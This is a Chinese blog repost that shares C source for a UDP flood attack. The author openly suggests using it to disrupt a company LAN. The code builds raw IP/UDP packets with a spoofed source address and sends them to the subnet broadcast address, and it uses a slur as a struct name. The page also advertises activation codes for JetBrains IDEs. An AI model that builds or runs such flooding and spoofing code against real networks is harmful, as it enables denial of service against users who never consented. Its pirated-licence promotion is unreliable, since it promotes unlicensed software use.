简单的udp攻击_udp flood攻击

简单的udp攻击_udp flood攻击由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.我是在ubuntu8.04下的,需要gcc编译.这个也添加了广播,整个网段的人都能收到了#include#include#include#include//ip#include//tcp#include#includeunsignedshortip_su…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.

我是在ubuntu8.04下的,需要gcc编译.

这个也添加了广播,整个网段的人都能收到了

#include <stdio.h>

#include <sys/socket.h>

#include <unistd.h>

#include <netinet/ip.h> //ip

#include <netinet/udp.h> //tcp

#include <stdlib.h>

#include<netinet/in.h>

unsigned short ip_sum(unsigned short *addrr2, int len2) {

register unsigned short *addrr = addrr2;

register int len = len2;

register int sum = 0;

unsigned short answer = 0;

while (len > 1) {

sum += *addrr++;

len -= 2;

}

if (len == 1) {

*(unsigned char *) (&answer) = *(unsigned char *) addrr;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

unsigned short cksum(short * buf, int nwords) {

unsigned long sum;

for (sum = 0; nwords > 0; nwords–)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

int main(int argc, char *argv[]) {

int sock, size, bytes_send, psize;

psize = 0;

struct sockaddr_in sin;

struct {

struct ip iphead;

struct udphdr udphead;

unsigned char evil[];

} faggot;

size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;

printf(“create socket\r\n”);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = inet_addr(“192.168.0.255”); //被攻击者ip

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

const int on = 1;//设定常量,用于打开广播模式

//设定该接口上的广播模式

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

faggot.evil[psize] = ‘\0’;

printf(“create iphead\r\n”);

faggot.iphead.ip_v = 4;

faggot.iphead.ip_hl = 5;

faggot.iphead.ip_tos = 0x00;

faggot.iphead.ip_len = size;

faggot.iphead.ip_id = 1025;

faggot.iphead.ip_off = 0;

faggot.iphead.ip_ttl = 201;

faggot.iphead.ip_p = IPPROTO_UDP;

faggot.iphead.ip_sum = 0;

inet_aton(“192.168.0.157”, &faggot.iphead.ip_src);//假冒ip

inet_aton(“192.168.0.255”, &faggot.iphead.ip_dst);//被攻击者ip

printf(“create udphead\r\n”);

faggot.udphead.source = htons(12345);//假冒端口

faggot.udphead.dest = htons(80);//被攻击者端口

faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);

faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));

faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);

printf(“start send\r\n”);

int i = 1;

while (i > 0) {

bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));

i–;

// if (bytes_send > 0) {

// i++;

// printf(“第%d次OK bytes_send udp %d \n”, i, bytes_send);

// }

}

printf(“end send\r\n”);

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/186802.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 异或和与运算_逻辑异或运算规则

    异或和与运算_逻辑异或运算规则异或,是一个数学运算符,英文为exclusiveOR,缩写为xor,应用于逻辑运算。异或的数学符号为“⊕”,计算机符号为“xor”。其运算法则为:a⊕b=(¬a∧b)∨(a

    2022年8月1日
    3
  • 总结:监控系统的7大作用

    总结:监控系统的7大作用一、介绍二、详解 实时采集监控数据:包括硬件、操作系统、中间件、应用程序等各个维度的数据。 实时反馈监控状态:通过对采集的数据进行多维度统计和可视化展示,能实时体现监控对象的状态是正常还是异常。 预知故障和告警:能够提前预知故障风险,并及时发出告警信息。 辅助定位故障:提供故障发生时的各项指标数据,辅助故障分析和定位。 辅助性能调优:为性能调优提供数据支持,比如慢SQL,接口响应时间等。 辅助容量规划:为服务器、中间件以及应用集群的容量规划

    2022年7月15日
    17
  • 改名了,一个新的开始

    怕什么真理无穷进一步有近一步的欢喜这个是我电脑桌面壁纸1又有一段时间没来这里了,看了上次发文的日期是2021年10月31日,已经快过去三个月了。上次发文还是2021现在已经到2022年了,…

    2022年3月1日
    40
  • 点击下拉菜单打开option中value的链接

    点击下拉菜单打开option中value的链接

    2022年2月19日
    42
  • idea2021激活码 mac(最新序列号破解)

    idea2021激活码 mac(最新序列号破解),https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月18日
    39
  • 临时表创建_临时表的创建方式

    临时表创建_临时表的创建方式临时表创建//Anhighlightedblock两种临时表的语法:createglobaltemporarytable临时表名oncommitpreserve|deleterows用preserve时就是SESSION级的临时表,用delete就是TRANSACTION级的临时表一、SESSION级临时表1、建立临时表Sql代码createglobal…

    2022年10月29日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号